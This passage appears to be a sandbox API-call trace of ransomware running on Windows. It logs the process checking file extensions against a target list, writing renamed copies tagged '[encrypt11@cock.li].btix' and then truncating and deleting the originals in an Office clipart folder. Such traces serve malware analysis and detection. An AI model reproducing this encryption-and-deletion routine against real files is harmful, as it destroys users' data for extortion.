Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.821] lstrlenW (lpString=".doc") returned 4 [0051.821] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.821] lstrlenW (lpString=".docx") returned 5 [0051.821] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.821] lstrlenW (lpString=".pdf") returned 4 [0051.821] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.821] lstrlenW (lpString=".xls") returned 4 [0051.821] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.821] lstrlenW (lpString=".xlsx") returned 5 [0051.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.821] lstrlenW (lpString=".ppt") returned 4 [0051.821] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.821] lstrlenW (lpString=".zip") returned 4 [0051.821] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.821] lstrlenW (lpString=".rar") returned 4 [0051.821] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.821] lstrlenW (lpString=".bz2") returned 4 [0051.821] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.821] lstrlenW (lpString=".7z") returned 3 [0051.821] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.821] lstrlenW (lpString=".dbf") returned 4 [0051.821] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.821] lstrlenW (lpString=".1cd") returned 4 [0051.821] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.821] lstrlenW (lpString=".jpg") returned 4 [0051.821] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.822] lstrlenW (lpString=".doc") returned 4 [0051.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.822] lstrlenW (lpString=".docx") returned 5 [0051.822] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.822] lstrlenW (lpString=".pdf") returned 4 [0051.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.822] lstrlenW (lpString=".xls") returned 4 [0051.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.822] lstrlenW (lpString=".xlsx") returned 5 [0051.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.822] lstrlenW (lpString=".ppt") returned 4 [0051.822] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.822] lstrlenW (lpString=".zip") returned 4 [0051.822] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.822] lstrlenW (lpString=".rar") returned 4 [0051.822] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.822] lstrlenW (lpString=".bz2") returned 4 [0051.822] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.822] lstrlenW (lpString=".7z") returned 3 [0051.822] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.822] lstrlenW (lpString=".dbf") returned 4 [0051.822] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.822] lstrlenW (lpString=".1cd") returned 4 [0051.822] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0051.822] lstrlenW (lpString=".jpg") returned 4 [0051.822] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.823] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0051.823] lstrlenW (lpString="AN00010_.WMF") returned 12 [0051.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0051.823] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3026) returned 1 [0051.823] CloseHandle (hObject=0x324) returned 1 [0051.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0051.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0051.823] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.823] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0051.824] GetLastError () returned 0x0 [0051.824] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0051.880] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0051.881] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.881] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0051.882] SetEndOfFile (hFile=0x370) returned 1 [0051.903] CloseHandle (hObject=0x370) returned 1 [0051.904] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.904] SetEndOfFile (hFile=0x324) returned 1 [0051.904] CloseHandle (hObject=0x324) returned 1 [0051.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0051.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.905] lstrlenW (lpString=".doc") returned 4 [0051.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.905] lstrlenW (lpString=".docx") returned 5 [0051.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.905] lstrlenW (lpString=".pdf") returned 4 [0051.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.905] lstrlenW (lpString=".xls") returned 4 [0051.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.905] lstrlenW (lpString=".xlsx") returned 5 [0051.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.905] lstrlenW (lpString=".ppt") returned 4 [0051.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.905] lstrlenW (lpString=".zip") returned 4 [0051.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.905] lstrlenW (lpString=".rar") returned 4 [0051.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.905] lstrlenW (lpString=".bz2") returned 4 [0051.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.906] lstrlenW (lpString=".7z") returned 3 [0051.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.906] lstrlenW (lpString=".dbf") returned 4 [0051.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.906] lstrlenW (lpString=".1cd") returned 4 [0051.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.906] lstrlenW (lpString=".jpg") returned 4 [0051.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.906] lstrlenW (lpString=".doc") returned 4 [0051.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.906] lstrlenW (lpString=".docx") returned 5 [0051.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.906] lstrlenW (lpString=".pdf") returned 4 [0051.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.906] lstrlenW (lpString=".xls") returned 4 [0051.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.906] lstrlenW (lpString=".xlsx") returned 5 [0051.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.906] lstrlenW (lpString=".ppt") returned 4 [0051.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.906] lstrlenW (lpString=".zip") returned 4 [0051.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.906] lstrlenW (lpString=".rar") returned 4 [0051.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.907] lstrlenW (lpString=".bz2") returned 4 [0051.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.907] lstrlenW (lpString=".7z") returned 3 [0051.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.907] lstrlenW (lpString=".dbf") returned 4 [0051.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.907] lstrlenW (lpString=".1cd") returned 4 [0051.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0051.907] lstrlenW (lpString=".jpg") returned 4 [0051.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.907] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.907] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0051.908] GetLastError () returned 0x0 [0051.908] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x385c, lpOverlapped=0x0) returned 1 [0052.036] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x3860, lpOverlapped=0x0) returned 1 [0052.037] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.037] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.037] SetEndOfFile (hFile=0x370) returned 1 [0052.037] CloseHandle (hObject=0x370) returned 1 [0052.038] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.038] SetEndOfFile (hFile=0x324) returned 1 [0052.039] CloseHandle (hObject=0x324) returned 1 [0052.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0052.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0052.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0052.040] lstrlenW (lpString=".doc") returned 4 [0052.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.040] lstrlenW (lpString=".docx") returned 5 [0052.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.040] lstrlenW (lpString=".pdf") returned 4 [0052.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.040] lstrlenW (lpString=".xls") returned 4 [0052.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.040] lstrlenW (lpString=".xlsx") returned 5 [0052.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.040] lstrlenW (lpString=".ppt") returned 4 [0052.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0052.040] lstrlenW (lpString=".zip") returned 4 [0052.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.040] lstrlenW (lpString=".rar") returned 4 [0052.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.040] lstrlenW (lpString=".bz2") returned 4 [0052.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.040] lstrlenW (lpString=".7z") returned 3 [0052.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0052.040] lstrlenW (lpString=".dbf") returned 4 [0052.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0052.040] lstrlenW (lpString=".1cd") returned 4 [0052.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0052.041] lstrlenW (lpString=".jpg") returned 4 [0052.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.046] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.046] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.046] GetLastError () returned 0x0 [0052.046] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x63c, lpOverlapped=0x0) returned 1 [0052.075] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x640, lpOverlapped=0x0) returned 1 [0052.075] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.075] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.076] SetEndOfFile (hFile=0x370) returned 1 [0052.076] CloseHandle (hObject=0x370) returned 1 [0052.076] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.076] SetEndOfFile (hFile=0x324) returned 1 [0052.077] CloseHandle (hObject=0x324) returned 1 [0052.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0052.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0052.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0052.078] lstrlenW (lpString=".doc") returned 4 [0052.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.078] lstrlenW (lpString=".docx") returned 5 [0052.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.078] lstrlenW (lpString=".pdf") returned 4 [0052.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.078] lstrlenW (lpString=".xls") returned 4 [0052.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.078] lstrlenW (lpString=".xlsx") returned 5 [0052.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.078] lstrlenW (lpString=".ppt") returned 4 [0052.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0052.078] lstrlenW (lpString=".zip") returned 4 [0052.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.079] lstrlenW (lpString=".rar") returned 4 [0052.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.079] lstrlenW (lpString=".bz2") returned 4 [0052.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.079] lstrlenW (lpString=".7z") returned 3 [0052.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0052.079] lstrlenW (lpString=".dbf") returned 4 [0052.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0052.079] lstrlenW (lpString=".1cd") returned 4 [0052.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68 [0052.079] lstrlenW (lpString=".jpg") returned 4 [0052.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.079] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.079] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.080] GetLastError () returned 0x0 [0052.080] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x728, lpOverlapped=0x0) returned 1 [0052.127] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x730, lpOverlapped=0x0) returned 1 [0052.128] ReadFile (in: hFile=0x324, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.128] WriteFile (in: hFile=0x370, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0052.128] SetEndOfFile (hFile=0x370) returned 1 [0052.128] CloseHandle (hObject=0x370) returned 1 [0052.129] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.129] SetEndOfFile (hFile=0x324) returned 1 [0052.130] CloseHandle (hObject=0x324) returned 1 [0052.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0052.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0052.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0052.130] lstrlenW (lpString=".doc") returned 4 [0052.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.131] lstrlenW (lpString=".docx") returned 5 [0052.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.131] lstrlenW (lpString=".pdf") returned 4 [0052.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.131] lstrlenW (lpString=".xls") returned 4 [0052.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.131] lstrlenW (lpString=".xlsx") returned 5 [0052.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.131] lstrlenW (lpString=".ppt") returned 4 [0052.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0052.131] lstrlenW (lpString=".zip") returned 4 [0052.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.131] lstrlenW (lpString=".rar") returned 4 [0052.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 